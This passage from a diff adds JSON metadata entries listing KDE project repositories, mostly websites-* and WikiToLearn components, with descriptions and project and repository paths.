"websites/forum-kde-org" + }, + "websites-fosdem-2021-website-content": { + "description": "Website content for the KDE booth at FOSDEM 2021 (Online Conference)", + "name": "websites-fosdem-2021-website-content", + "project_path": "websites/fosdem-2021-website-content", + "repo_path": "websites/fosdem-2021-website-content" + }, + "websites-fosdem-2021-website-static": { + "description": "Static content for the KDE booth at FOSDEM 2021 (Online Conference)", + "name": "websites-fosdem-2021-website-static", + "project_path": "websites/fosdem-2021-website-static", + "repo_path": "websites/fosdem-2021-website-static" + }, + "websites-fr-kde-org": { + "description": "Website for the French KDE community \u2014 fr.kde.org", + "name": "websites-fr-kde-org", + "project_path": "websites/fr-kde-org", + "repo_path": "websites/fr-kde-org" + }, + "websites-freebsd-kde-org": { + "description": "Website of the KDE/FreeBSD initiative \u2014 freebsd.kde.org", + "name": "websites-freebsd-kde-org", + "project_path": "websites/freebsd-kde-org", + "repo_path": "websites/freebsd-kde-org" + }, + "websites-fund-krita-org": { + "description": "Infrastructure for the Krita Fund website", + "name": "websites-fund-krita-org", + "project_path": "websites/fund-krita-org", + "repo_path": "websites/fund-krita-org" + }, + "websites-games-kde-org": { + "description": "Website for KDE's games \u2014 games.kde.org", + "name": "websites-games-kde-org", + "project_path": "websites/games-kde-org", + "repo_path": "websites/games-kde-org" + }, + "websites-gcompris-net": { + "description": "Website for GCompris \u2014 gcompris.net", + "name": "websites-gcompris-net", + "project_path": "websites/gcompris-net", + "repo_path": "websites/gcompris-net" + }, + "websites-ghostwriter-kde-org": { + "description": "Website for Ghostwriter", + "name": "websites-ghostwriter-kde-org", + "project_path": "websites/ghostwriter-kde-org", + "repo_path": "websites/ghostwriter-kde-org" + }, + "websites-go-kde-org": { + "description": "Data for the KDE Short URL Redirector Service - go.kde.org", + "name": "websites-go-kde-org", + "project_path": "websites/go-kde-org", + "repo_path": "websites/go-kde-org" + }, + "websites-haruna-kde-org": { + "description": "Website for Haruna - haruna.kde.org", + "name": "websites-haruna-kde-org", + "project_path": "websites/haruna-kde-org", + "repo_path": "websites/haruna-kde-org" + }, + "websites-hig-kde-org": { + "description": "KDE Human Interface Guidelines website", + "name": "websites-hig-kde-org", + "project_path": "websites/hig-kde-org", + "repo_path": "documentation/hig-kde-org" + }, + "websites-hugo-bootstrap": { + "description": "Tooling to provide the Bootstrap CSS/JS framework for Hugo", + "name": "websites-hugo-bootstrap", + "project_path": "websites/hugo-bootstrap", + "repo_path": "websites/hugo-bootstrap" + }, + "websites-hugo-i18n": { + "description": "Tooling to help translate Hugo generated websites with gettext", + "name": "websites-hugo-i18n", + "project_path": "websites/hugo-i18n", + "repo_path": "websites/hugo-i18n" + }, + "websites-hugo-kde": { + "description": "KDE extensions and theming for the Hugo static website generator framework.", + "name": "websites-hugo-kde", + "project_path": "websites/hugo-kde", + "repo_path": "websites/hugo-kde" + }, + "websites-hugo-kde-template": { + "description": "Template for KDE websites based on the Hugo framework.", + "name": "websites-hugo-kde-template", + "project_path": "websites/hugo-kde-template", + "repo_path": "websites/hugo-kde-template" + }, + "websites-i-kaidan-im": { + "description": "Easy XMPP invitation landing page for Kaidan \u2014 i.kaidan.im", + "name": "websites-i-kaidan-im", + "project_path": "websites/i-kaidan-im", + "repo_path": "websites/i-kaidan-im" + }, + "websites-identity-kde-org": { + "description": "Custom KDE application, code-named Solena, which runs identity.kde.org", + "name": "websites-identity-kde-org", + "project_path": "websites/identity-kde-org", + "repo_path": "websites/identity-kde-org" + }, + "websites-inqlude": { + "description": "Tools for Inqlude, the Qt library archive \u2014 inqlude.org", + "name": "websites-inqlude", + "project_path": "websites/inqlude", + "repo_path": "websites/inqlude" + }, + "websites-inqlude-data": { + "description": "Metadata for Inqlude, the Qt library archive \u2014 inqlude.org", + "name": "websites-inqlude-data", + "project_path": "websites/inqlude-data", + "repo_path": "websites/inqlude-data" + }, + "websites-jekyll-kde-theme": { + "description": "Aether theme for Jekyll-based websites", + "name": "websites-jekyll-kde-theme", + "project_path": "websites/jekyll-kde-theme", + "repo_path": "websites/jekyll-kde-theme" + }, + "websites-jointhegame-kde-org": { + "description": "KDE e.V.'s website for the individual membership program", + "name": "websites-jointhegame-kde-org", + "project_path": "websites/jointhegame-kde-org", + "repo_path": "websites/jointhegame-kde-org" + }, + "websites-jp-kde-org": { + "description": "Website for the Japanese KDE community / \u65e5\u672c KDE \u30e6\u30fc\u30b6\u4f1a\u306e\u30a6\u30a7\u30d6\u30b5\u30a4\u30c8 \u2014 jp.kde.org", + "name": "websites-jp-kde-org", + "project_path": "websites/jp-kde-org", + "repo_path": "websites/jp-kde-org" + }, + "websites-juk-kde-org": { + "description": "Website for JuK \u2014 juk.kde.org", + "name": "websites-juk-kde-org", + "project_path": "websites/juk-kde-org", + "repo_path": "websites/juk-kde-org" + }, + "websites-kaidan-im": { + "description": "Website for Kaidan \u2014 kaidan.im", + "name": "websites-kaidan-im", + "project_path": "websites/kaidan-im", + "repo_path": "websites/kaidan-im" + }, + "websites-kate-editor-org": { + "description": "Website for Kate \u2014 kate-editor.org", + "name": "websites-kate-editor-org", + "project_path": "websites/kate-editor-org", + "repo_path": "websites/kate-editor-org" + }, + "websites-kde-china-org": { + "description": "Website for the Chinese KDE community \u2014 kde-china.org", + "name": "websites-kde-china-org", + "project_path": "websites/kde-china-org", + "repo_path": "websites/kde-china-org" + }, + "websites-kde-in": { + "description": "Website for the Indian KDE community \u2014 kde.in", + "name": "websites-kde-in", + "project_path": "websites/kde-in", + "repo_path": "websites/kde-in" + }, + "websites-kde-org": { + "description": "Main KDE Community website \u2014 kde.org", + "name": "websites-kde-org", + "project_path": "websites/kde-org", + "repo_path": "websites/kde-org" + }, + "websites-kde-org-announcements-releases": { + "description": "Website for KDE.org release announcements \u2014 kde.org/announcements/releases", + "name": "websites-kde-org-announcements-releases", + "project_path": "websites/kde-org-announcements-releases", + "repo_path": "websites/kde-org-announcements-releases" + }, + "websites-kde-org-applications-extractor": { + "description": "Code to generate the kde.org/applications metadata", + "name": "websites-kde-org-applications-extractor", + "project_path": "websites/kde-org-applications-extractor", + "repo_path": "websites/kde-org-applications-extractor" + }, + "websites-kde-ru": { + "description": "Website for the Russian KDE community \u2014 kde.ru", + "name": "websites-kde-ru", + "project_path": "websites/kde-ru", + "repo_path": "websites/kde-ru" + }, + "websites-kdeconnect-kde-org": { + "description": "Website for KDE Connect \u2014 kdeconnect.kde.org", + "name": "websites-kdeconnect-kde-org", + "project_path": "websites/kdeconnect-kde-org", + "repo_path": "websites/kdeconnect-kde-org" + }, + "websites-kdeitalia-it": { + "description": "Website for the Italian KDE community \u2014 kdeitalia.it", + "name": "websites-kdeitalia-it", + "project_path": "websites/kdeitalia-it", + "repo_path": "websites/kdeitalia-it" + }, + "websites-kdemail-net": { + "description": "E-mail service for KDE contributors \u2014 kdemail.net", + "name": "websites-kdemail-net", + "project_path": "websites/kdemail-net", + "repo_path": "websites/kdemail-net" + }, + "websites-kdesrc-build-kde-org": { + "description": "Website for kdesrc-build \u2014 kdesrc-build.kde.org", + "name": "websites-kdesrc-build-kde-org", + "project_path": "websites/kdesrc-build-kde-org", + "repo_path": "websites/kdesrc-build-kde-org" + }, + "websites-kdetalk-net": { + "description": "Website for KDE's Jabber server \u2014 kdetalk.net", + "name": "websites-kdetalk-net", + "project_path": "websites/kdetalk-net", + "repo_path": "websites/kdetalk-net" + }, + "websites-kdevelop-org": { + "description": "The marketing site for KDevelop.org", + "name": "websites-kdevelop-org", + "project_path": "websites/kdevelop-org", + "repo_path": "websites/kdevelop-org" + }, + "websites-kexi-project-org": { + "description": "Website for Kexi - kexi-project.org", + "name": "websites-kexi-project-org", + "project_path": "websites/kexi-project-org", + "repo_path": "websites/kexi-project-org" + }, + "websites-kgeotag-kde-org": { + "description": "Website for KGeoTag - kgeotag.kde.org", + "name": "websites-kgeotag-kde-org", + "project_path": "websites/kgeotag-kde-org", + "repo_path": "websites/kgeotag-kde-org" + }, + "websites-kid3-kde-org": { + "description": "Website for Kid3 \u2014 kid3.kde.org", + "name": "websites-kid3-kde-org", + "project_path": "websites/kid3-kde-org", + "repo_path": "websites/kid3-kde-org" + }, + "websites-kirogi-org": { + "description": "Website for Kirogi \u2014 kirogi.org", + "name": "websites-kirogi-org", + "project_path": "websites/kirogi-org", + "repo_path": "websites/kirogi-org" + }, + "websites-kmymoney-org": { + "description": "Website for KMyMoney \u2014 kmymoney.org", + "name": "websites-kmymoney-org", + "project_path": "websites/kmymoney-org", + "repo_path": "websites/kmymoney-org" + }, + "websites-konqueror-org": { + "description": "Website for Konqueror", + "name": "websites-konqueror-org", + "project_path": "websites/konqueror-org", + "repo_path": "websites/konqueror-org" + }, + "websites-konsole-kde-org": { + "description": "Website for Konsole \u2014 konsole.kde.org", + "name": "websites-konsole-kde-org", + "project_path": "websites/konsole-kde-org", + "repo_path": "websites/konsole-kde-org" + }, + "websites-kontact-kde-org": { + "description": "Website for Kontact \u2014 kontact.kde.org", + "name": "websites-kontact-kde-org", + "project_path": "websites/kontact-kde-org", + "repo_path": "websites/kontact-kde-org" + }, + "websites-konversation-kde-org": { + "description": "Website for Konversation \u2014 konversation.kde.org", + "name": "websites-konversation-kde-org", + "project_path": "websites/konversation-kde-org", + "repo_path": "websites/konversation-kde-org" + }, + "websites-kpdf-kde-org": { + "description": "Static copy of the KPDF website \u2014 kpdf.kde.org", + "name": "websites-kpdf-kde-org", + "project_path": "websites/kpdf-kde-org", + "repo_path": "websites/kpdf-kde-org" + }, + "websites-kphotoalbum-org": { + "description": "Website for KPhotoAlbum \u2014 kphotoalbum.org", + "name": "websites-kphotoalbum-org", + "project_path": "websites/kphotoalbum-org", + "repo_path": "websites/kphotoalbum-org" + }, + "websites-krita-org": { + "description": "The marketing site for Krita.org, migrated to use the Hugo static site generator", + "name": "websites-krita-org", + "project_path": "websites/krita-org", + "repo_path": "websites/krita-org" + }, + "websites-krita-org-theme": { + "description": "Wordpress theme for krita.org", + "name": "websites-krita-org-theme", + "project_path": "websites/krita-org-theme", + "repo_path": "websites/krita-org-theme" + }, + "websites-krusader-org": { + "description": "Website for Krusader \u2014 krusader.org", + "name": "websites-krusader-org", + "project_path": "websites/krusader-org", + "repo_path": "websites/krusader-org" + }, + "websites-kst-plot-kde-org": { + "description": "Static copy of the Kst Plot website \u2014 kst-plot.kde.org", + "name": "websites-kst-plot-kde-org", + "project_path": "websites/kst-plot-kde-org", + "repo_path": "websites/kst-plot-kde-org" + }, + "websites-kstars-kde-org": { + "description": "Website for KStars \u2014 kstars.kde.org", + "name": "websites-kstars-kde-org", + "project_path": "websites/kstars-kde-org", + "repo_path": "websites/kstars-kde-org" + }, + "websites-kube-kde-org": { + "description": "Website for Kube \u2014 kube-project.com", + "name": "websites-kube-kde-org", + "project_path": "websites/kube-kde-org", + "repo_path": "websites/kube-kde-org" + }, + "websites-lakademy-kde-org": { + "description": "Website for LaKademy \u2014 lakademy.kde.org", + "name": "websites-lakademy-kde-org", + "project_path": "websites/lakademy-kde-org", + "repo_path": "websites/lakademy-kde-org" + }, + "websites-lists-kde-org": { + "description": "Necessary code to redirect from lists.kde.org to appropriate mail archives", + "name": "websites-lists-kde-org", + "project_path": "websites/lists-kde-org", + "repo_path": "websites/lists-kde-org" + }, + "websites-lokalize-kde-org": { + "description": "Website for Lokalize", + "name": "websites-lokalize-kde-org", + "project_path": "websites/lokalize-kde-org", + "repo_path": "websites/lokalize-kde-org" + }, + "websites-manifesto-kde-org": { + "description": "Website for the KDE Manifesto \u2014 manifesto.kde.org", + "name": "websites-manifesto-kde-org", + "project_path": "websites/manifesto-kde-org", + "repo_path": "websites/manifesto-kde-org" + }, + "websites-marble-kde-org": { + "description": "Website for Marble \u2014 marble.kde.org", + "name": "websites-marble-kde-org", + "project_path": "websites/marble-kde-org", + "repo_path": "websites/marble-kde-org" + }, + "websites-mediawiki": { + "description": "Customized version of MediaWiki that was used by the KDE Wikis", + "name": "websites-mediawiki", + "project_path": "websites/mediawiki", + "repo_path": "websites/mediawiki" + }, + "websites-mediawiki-bugzilla": { + "description": "Bugzilla plugin for MediaWiki", + "name": "websites-mediawiki-bugzilla", + "project_path": "websites/mediawiki-bugzilla", + "repo_path": "websites/mediawiki-bugzilla" + }, + "websites-mediawiki-documentation-tags": { + "description": "Documentation Tags plugin for MediaWiki", + "name": "websites-mediawiki-documentation-tags", + "project_path": "websites/mediawiki-documentation-tags", + "repo_path": "websites/mediawiki-documentation-tags" + }, + "websites-mediawiki-kde-extensions": { + "description": "KDE Specific Extensions for MediaWiki", + "name": "websites-mediawiki-kde-extensions", + "project_path": "websites/mediawiki-kde-extensions", + "repo_path": "websites/mediawiki-kde-extensions" + }, + "websites-mentorship-kde-org": { + "description": "Website for KDE Mentor Programs (GSoC and Summer of KDE)", + "name": "websites-mentorship-kde-org", + "project_path": "websites/mentorship-kde-org", + "repo_path": "websites/mentorship-kde-org" + }, + "websites-minuet-kde-org": { + "description": "Website for Minuet \u2014 minuet.kde.org", + "name": "websites-minuet-kde-org", + "project_path": "websites/minuet-kde-org", + "repo_path": "websites/minuet-kde-org" + }, + "websites-multimedia-kde-org": { + "description": "Website for KDE's multimedia software \u2014 multimedia.kde.org", + "name": "websites-multimedia-kde-org", + "project_path": "websites/multimedia-kde-org", + "repo_path": "websites/multimedia-kde-org" + }, + "websites-my-kde-org": { + "description": "Unified identity management for KDE websites", + "name": "websites-my-kde-org", + "project_path": "websites/my-kde-org", + "repo_path": "websites/my-kde-org" + }, + "websites-mykde-mediawiki": { + "description": "Mediawiki plugin for MyKDE", + "name": "websites-mykde-mediawiki", + "project_path": "websites/mykde-mediawiki", + "repo_path": "websites/mykde-mediawiki" + }, + "websites-necessitas-kde-org": { + "description": "Website for the Necessitas project (Qt on Android)", + "name": "websites-necessitas-kde-org", + "project_path": "websites/necessitas-kde-org", + "repo_path": "websites/necessitas-kde-org" + }, + "websites-neon-kde-org": { + "description": "Website for Neon \u2014 neon.kde.org", + "name": "websites-neon-kde-org", + "project_path": "websites/neon-kde-org", + "repo_path": "websites/neon-kde-org" + }, + "websites-neverland": { + "description": "Attempt to create a simple and pleasant look and feel for KDE websites", + "name": "websites-neverland", + "project_path": "websites/neverland", + "repo_path": "websites/neverland" + }, + "websites-okular-kde-org": { + "description": "Website for Okular \u2014 okular.kde.org", + "name": "websites-okular-kde-org", + "project_path": "websites/okular-kde-org", + "repo_path": "websites/okular-kde-org" + }, + "websites-openraster-org": { + "description": "Sphinx setup for the Openraster.org (ORA specification) website", + "name": "websites-openraster-org", + "project_path": "websites/openraster-org", + "repo_path": "documentation/openraster-org" + }, + "websites-paste-kde-org": { + "description": "KDE Paste, powered by the Sticky Notes pastebin engine", + "name": "websites-paste-kde-org", + "project_path": "websites/paste-kde-org", + "repo_path": "websites/paste-kde-org" + }, + "websites-pe-kde-org": { + "description": "Website for the Peruvian KDE community \u2014 pe.kde.org", + "name": "websites-pe-kde-org", + "project_path": "websites/pe-kde-org", + "repo_path": "websites/pe-kde-org" + }, + "websites-peruse-kde-org": { + "description": "Website for Peruse \u2014 peruse.kde.org", + "name": "websites-peruse-kde-org", + "project_path": "websites/peruse-kde-org", + "repo_path": "websites/peruse-kde-org" + }, + "websites-phonon-kde-org": { + "description": "Website for Phonon", + "name": "websites-phonon-kde-org", + "project_path": "websites/phonon-kde-org", + "repo_path": "websites/phonon-kde-org" + }, + "websites-planet-kde-org": { + "description": "Planet KDE website code and configuration \u2014 planet.kde.org", + "name": "websites-planet-kde-org", + "project_path": "websites/planet-kde-org", + "repo_path": "websites/planet-kde-org" + }, + "websites-plasma-bigscreen-org": { + "description": "Website for Plasma BigScreen \u2014 plasma-bigscreen.org", + "name": "websites-plasma-bigscreen-org", + "project_path": "websites/plasma-bigscreen-org", + "repo_path": "websites/plasma-bigscreen-org" + }, + "websites-plasma-kde-org": { + "description": "Website for Plasma", + "name": "websites-plasma-kde-org", + "project_path": "websites/plasma-kde-org", + "repo_path": "websites/plasma-kde-org" + }, + "websites-plasma-mobile-org": { + "description": "Website for Plasma Mobile \u2014 plasma-mobile.org", + "name": "websites-plasma-mobile-org", + "project_path": "websites/plasma-mobile-org", + "repo_path": "websites/plasma-mobile-org" + }, + "websites-product-screenshots": { + "description": "Screenshots of KDE software for promotional use \u2014 cdn.kde.org/screenshots", + "name": "websites-product-screenshots", + "project_path": "websites/product-screenshots", + "repo_path": "websites/product-screenshots" + }, + "websites-projects-kde-org": { + "description": "KDE's customized version of Redmine, which used to power Projects", + "name": "websites-projects-kde-org", + "project_path": "websites/projects-kde-org", + "repo_path": "websites/projects-kde-org" + }, + "websites-qtcon-org": { + "description": "Static copy of the QtCon website - qtcon.org", + "name": "websites-qtcon-org", + "project_path": "websites/qtcon-org", + "repo_path": "websites/qtcon-org" + }, + "websites-quality-calligra-org": { + "description": "Website that provided quality statistics on Calligra", + "name": "websites-quality-calligra-org", + "project_path": "websites/quality-calligra-org", + "repo_path": "websites/quality-calligra-org" + }, + "websites-quality-kde-org": { + "description": "Tools that make up the KDE Quality website", + "name": "websites-quality-kde-org", + "project_path": "websites/quality-kde-org", + "repo_path": "websites/quality-kde-org" + }, + "websites-quickgit-kde-org": { + "description": "Quickgit Git repository browser (KDE-customized version of GitPHP)", + "name": "websites-quickgit-kde-org", + "project_path": "websites/quickgit-kde-org", + "repo_path": "websites/quickgit-kde-org" + }, + "websites-rekonq-kde-org": { + "description": "Website for Rekonq", + "name": "websites-rekonq-kde-org", + "project_path": "websites/rekonq-kde-org", + "repo_path": "websites/rekonq-kde-org" + }, + "websites-releases-neon-kde-org": { + "description": "Metadata of Neon releases \u2014 releases.neon.kde.org", + "name": "websites-releases-neon-kde-org", + "project_path": "websites/releases-neon-kde-org", + "repo_path": "websites/releases-neon-kde-org" + }, + "websites-reports-kde-org": { + "description": "Website with reports about KDE projects and their activity", + "name": "websites-reports-kde-org", + "project_path": "websites/reports-kde-org", + "repo_path": "websites/reports-kde-org" + }, + "websites-reservoir": { + "description": "Web application that was meant as replacement for Capacity", + "name": "websites-reservoir", + "project_path": "websites/reservoir", + "repo_path": "websites/reservoir" + }, + "websites-rkward-kde-org": { + "description": "Website for RKWard \u2014 rkward.kde.org", + "name": "websites-rkward-kde-org", + "project_path": "websites/rkward-kde-org", + "repo_path": "websites/rkward-kde-org" + }, + "websites-rolisteam-org": { + "description": "Website for Rolisteam \u2014 rolisteam.org", + "name": "websites-rolisteam-org", + "project_path": "websites/rolisteam-org", + "repo_path": "websites/rolisteam-org" + }, + "websites-scripting-krita-org": { + "description": "Scripting School website for Krita", + "name": "websites-scripting-krita-org", + "project_path": "websites/scripting-krita-org", + "repo_path": "websites/scripting-krita-org" + }, + "websites-season-kde-org": { + "description": "Website to organize programs like Season of KDE \u2014 season.kde.org", + "name": "websites-season-kde-org", + "project_path": "websites/season-kde-org", + "repo_path": "websites/season-kde-org" + }, + "websites-simon-kde-org": { + "description": "Static copy of the Drupal-based Simon website \u2014 simon.kde.org", + "name": "websites-simon-kde-org", + "project_path": "websites/simon-kde-org", + "repo_path": "websites/simon-kde-org" + }, + "websites-skrooge-org": { + "description": "Website for Skrooge \u2014 skrooge.org", + "name": "websites-skrooge-org", + "project_path": "websites/skrooge-org", + "repo_path": "websites/skrooge-org" + }, + "websites-solid-kde-org": { + "description": "Website for Solid", + "name": "websites-solid-kde-org", + "project_path": "websites/solid-kde-org", + "repo_path": "websites/solid-kde-org" + }, + "websites-sprint-kde-org": { + "description": "Web application to ease managing sprints", + "name": "websites-sprint-kde-org", + "project_path": "websites/sprint-kde-org", + "repo_path": "websites/sprint-kde-org" + }, + "websites-sso-kde-org": { + "description": "Managed user identities for all KDE websites", + "name": "websites-sso-kde-org", + "project_path": "websites/sso-kde-org", + "repo_path": "websites/sso-kde-org" + }, + "websites-subtitlecomposer-kde-org": { + "description": "Website for SubtitleComposer", + "name": "websites-subtitlecomposer-kde-org", + "project_path": "websites/subtitlecomposer-kde-org", + "repo_path": "websites/subtitlecomposer-kde-org" + }, + "websites-sysadmin-kde-org-trellis": { + "description": "Customized Trellis Desk instance that was used by KDE Sysadmin", + "name": "websites-sysadmin-kde-org-trellis", + "project_path": "websites/sysadmin-kde-org-trellis", + "repo_path": "websites/sysadmin-kde-org-trellis" + }, + "websites-telemetry-krita-org": { + "description": "Telemetry backend for Krita \u2014 telemetry.krita.org", + "name": "websites-telemetry-krita-org", + "project_path": "websites/telemetry-krita-org", + "repo_path": "websites/telemetry-krita-org" + }, + "websites-timeline-kde-org": { + "description": "Website for community history timeline \u2014 timeline.kde.org", + "name": "websites-timeline-kde-org", + "project_path": "websites/timeline-kde-org", + "repo_path": "websites/timeline-kde-org" + }, + "websites-tr-kde-org": { + "description": "Website for the Turkish KDE community / KDE T\u00fcrkiye Toplulu\u011fu i\u00e7in web sayfas\u0131", + "name": "websites-tr-kde-org", + "project_path": "websites/tr-kde-org", + "repo_path": "websites/tr-kde-org" + }, + "websites-umbrello-kde-org": { + "description": "Website for Umbrello \u2014 umbrello.kde.org", + "name": "websites-umbrello-kde-org", + "project_path": "websites/umbrello-kde-org", + "repo_path": "websites/umbrello-kde-org" + }, + "websites-utils-kde-org": { + "description": "Website for KDE's utilities \u2014 utils.kde.org", + "name": "websites-utils-kde-org", + "project_path": "websites/utils-kde-org", + "repo_path": "websites/utils-kde-org" + }, + "websites-vdesign-kde-org": { + "description": "Website for KDE's Visual Design Group", + "name": "websites-vdesign-kde-org", + "project_path": "websites/vdesign-kde-org", + "repo_path": "websites/vdesign-kde-org" + }, + "websites-video-subtitles": { + "description": "Subtitles for KDE video content", + "name": "websites-video-subtitles", + "project_path": "websites/video-subtitles", + "repo_path": "websites/video-subtitles" + }, + "websites-volunteers-akademy-kde-org": { + "description": "Volunteer management and coordination system \u2014 volunteers.akademy.kde.org", + "name": "websites-volunteers-akademy-kde-org", + "project_path": "websites/volunteers-akademy-kde-org", + "repo_path": "websites/volunteers-akademy-kde-org" + }, + "websites-vvave-kde-org": { + "description": "Website for Vvave \u2014 vvave.kde.org", + "name": "websites-vvave-kde-org", + "project_path": "websites/vvave-kde-org", + "repo_path": "websites/vvave-kde-org" + }, + "websites-vvave-stream-kde-org": { + "description": "User-contributed content hub for Vvave", + "name": "websites-vvave-stream-kde-org", + "project_path": "websites/vvave-stream-kde-org", + "repo_path": "websites/vvave-stream-kde-org" + }, + "websites-websvn-kde-org": { + "description": "KDE SVN repository browser \u2014 websvn.kde.org", + "name": "websites-websvn-kde-org", + "project_path": "websites/websvn-kde-org", + "repo_path": "websites/websvn-kde-org" + }, + "websites-wiki-desktopsummit-org": { + "description": "Static copy of the DesktopSummit wiki \u2014 wiki.desktopsummit.org", + "name": "websites-wiki-desktopsummit-org", + "project_path": "websites/wiki-desktopsummit-org", + "repo_path": "websites/wiki-desktopsummit-org" + }, + "websites-wiki-kde-org": { + "description": "Landing wiki list website \u2014 wiki.kde.org", + "name": "websites-wiki-kde-org", + "project_path": "websites/wiki-kde-org", + "repo_path": "websites/wiki-kde-org" + }, + "websites-wiki-rolisteam-org": { + "description": "Rolisteam documentation (wiki) \u2014 doc.rolisteam.org", + "name": "websites-wiki-rolisteam-org", + "project_path": "websites/wiki-rolisteam-org", + "repo_path": "websites/wiki-rolisteam-org" + }, + "websites-windows-kde-org": { + "description": "Website for the KDE Windows project", + "name": "websites-windows-kde-org", + "project_path": "websites/windows-kde-org", + "repo_path": "websites/windows-kde-org" + }, + "websites-wordpress-koan-theme": { + "description": "Customised Koan theme for Wordpress", + "name": "websites-wordpress-koan-theme", + "project_path": "websites/wordpress-koan-theme", + "repo_path": "websites/wordpress-koan-theme" + }, + "websites-yakuake-kde-org": { + "description": "Website for Yakuake", + "name": "websites-yakuake-kde-org", + "project_path": "websites/yakuake-kde-org", + "repo_path": "websites/yakuake-kde-org" + }, + "websites-zanshin-kde-org": { + "description": "Website for Zanshin \u2014 zanshin.kde.org", + "name": "websites-zanshin-kde-org", + "project_path": "websites/zanshin-kde-org", + "repo_path": "websites/zanshin-kde-org" + }, + "whoopsie-kcm": { + "description": "A KCM for talking to Ubuntu error tracker submission system Whoopsie", + "name": "whoopsie-kcm", + "project_path": "playground/base/whoopsie-kcm", + "repo_path": "system/whoopsie-kcm" + }, + "wicd-kde": { + "description": "A Wicd client built on the KDE Development Platform.\n\n!http://kde-apps.org/CONTENT/content-pre1/132366-1.png!", + "name": "wicd-kde", + "project_path": "extragear/network/wicd-kde", + "repo_path": "unmaintained/wicd-kde" + }, + "wiki-reader": { + "description": "A project for reading Wikipedia articles conveniently.", + "name": "wiki-reader", + "project_path": "unmaintained/wiki-reader", + "repo_path": "unmaintained/wiki-reader" + }, + "wikidata-voice-application": { + "description": "Wikidata information voice application and mycroft skill for Plasma Bigscreen", + "name": "wikidata-voice-application", + "project_path": "playground/utils/wikidata-voice-application", + "repo_path": "plasma-bigscreen/wikidata-voice-application" + }, + "wikitolearn-backend-for-frontend": { + "description": "Backend for the Frontend System of WIkiToLearn", + "name": "wikitolearn-backend-for-frontend", + "project_path": "playground/www/wikitolearn-backend-for-frontend", + "repo_path": "wikitolearn/wikitolearn-backend-for-frontend" + }, + "wikitolearn-chapters-backend": { + "description": "Chapters Backend for WikiToLearn", + "name": "wikitolearn-chapters-backend", + "project_path": "playground/www/wikitolearn-chapters-backend", + "repo_path": "wikitolearn/wikitolearn-chapters-backend" + }, + "wikitolearn-content-migration": { + "description": "Content Migration Assistants for WikiToLearn", + "name": "wikitolearn-content-migration", + "project_path": "playground/www/wikitolearn-content-migration", + "repo_path": "wikitolearn/wikitolearn-content-migration" + }, + "wikitolearn-course-midtier": { + "description": "Mid Tier Course Support for WikiToLearn", + "name": "wikitolearn-course-midtier", + "project_path": "playground/www/wikitolearn-course-midtier", + "repo_path": "wikitolearn/wikitolearn-course-midtier" + }, + "wikitolearn-courses-backend": { + "description": "Courses Backend for WikiToLearn", + "name": "wikitolearn-courses-backend", + "project_path": "playground/www/wikitolearn-courses-backend", + "repo_path": "wikitolearn/wikitolearn-courses-backend" + }, + "wikitolearn-coursessecurity-backend": { + "description": "Backend Components of Course Security system for WikiToLearn", + "name": "wikitolearn-coursessecurity-backend", + "project_path": "playground/www/wikitolearn-coursessecurity-backend", + "repo_path": "wikitolearn/wikitolearn-coursessecurity-backend" + }, + "wikitolearn-docs": { + "description": "Documentation for WikiToLearn", + "name": "wikitolearn-docs", + "project_path": "playground/www/wikitolearn-docs", + "repo_path": "wikitolearn/wikitolearn-docs" + }, + "wikitolearn-docs-atundo": { + "description": "Atundo Documentation for WikiToLearn", + "name": "wikitolearn-docs-atundo", + "project_path": "playground/www/wikitolearn-docs-atundo", + "repo_path": "wikitolearn/wikitolearn-docs-atundo" + }, + "wikitolearn-frontend": { + "description": "Frontend for WikiToLearn", + "name": "wikitolearn-frontend", + "project_path": "playground/www/wikitolearn-frontend", + "repo_path": "wikitolearn/wikitolearn-frontend" + }, + "wikitolearn-keycloak-mediawiki-btypepassword-patch": { + "description": "btypepassword patch for Keycloak's Mediawiki integration", + "name": "wikitolearn-keycloak-mediawiki-btypepassword-patch", + "project_path": "playground/www/wikitolearn-keycloak-mediawiki-btypepassword-patch", + "repo_path": "wikitolearn/wikitolearn-keycloak-mediawiki-btypepassword-patch" + }, + "wikitolearn-keycloak-theme": { + "description": "Keycloak Theme used by WikiToLearn", + "name": "wikitolearn-keycloak-theme", + "project_path": "playground/www/wikitolearn-keycloak-theme", + "repo_path": "wikitolearn/wikitolearn-keycloak-theme" + }, + "wikitolearn-math-backend": { + "description": "Math Backend for WikiToLearn", + "name": "wikitolearn-math-backend", + "project_path": "playground/www/wikitolearn-math-backend", + "repo_path": "wikitolearn/wikitolearn-math-backend" + }, + "wikitolearn-math-midtier": { + "description": "Mid Tier Math Support for WikiToLearn", + "name": "wikitolearn-math-midtier", + "project_path": "playground/www/wikitolearn-math-midtier", + "repo_path": "wikitolearn/wikitolearn-math-midtier" + }, + "wikitolearn-media-midtier": { + "description": "Mid Tier Media Support for WikiToLearn", + "name": "wikitolearn-media-midtier", + "project_path": "playground/www/wikitolearn-media-midtier", + "repo_path": "wikitolearn/wikitolearn-media-midtier" + }, + "wikitolearn-offline-extension": { + "description": "OfflineExtension is an extension for WikiToLearn that will add offline support to the current Wiki Editor.", + "name": "wikitolearn-offline-extension", + "project_path": "playground/www/wikitolearn-offline-extension", + "repo_path": "wikitolearn/wikitolearn-offline-extension" + }, + "wikitolearn-pages-backend": { + "description": "Pages Backend for WikiToLearn", + "name": "wikitolearn-pages-backend", + "project_path": "playground/www/wikitolearn-pages-backend", + "repo_path": "wikitolearn/wikitolearn-pages-backend" + }, + "wikitolearn-pdf-backend": { + "description": "PDF Backend for WikiToLearn", + "name": "wikitolearn-pdf-backend", + "project_path": "playground/www/wikitolearn-pdf-backend", + "repo_path": "wikitolearn/wikitolearn-pdf-backend" + }, + "wikitolearn-pwa-gateway": { + "description": "PWA Gateway for WikiToLearn", + "name": "wikitolearn-pwa-gateway", + "project_path": "playground/www/wikitolearn-pwa-gateway", + "repo_path": "wikitolearn/wikitolearn-pwa-gateway" + }, + "wikitolearn-sdk": { + "description": "SDK for WikiToLearn", + "name": "wikitolearn-sdk", + "project_path": "playground/www/wikitolearn-sdk", + "repo_path": "wikitolearn/wikitolearn-sdk" + }, + "wikitolearn-shared-services": { + "description": "Shared Services for WikiToLearn", + "name": "wikitolearn-shared-services", + "project_path": "playground/www/wikitolearn-shared-services", + "repo_path": "wikitolearn/wikitolearn-shared-services" + }, + "wikitolearn-shibboleth-discovery": { + "description": "Shibboleth discovery support for WikiToLearn", + "name": "wikitolearn-shibboleth-discovery", + "project_path": "playground/www/wikitolearn-shibboleth-discovery", + "repo_path": "wikitolearn/wikitolearn-shibboleth-discovery" + }, + "wikitolearn-translation": { + 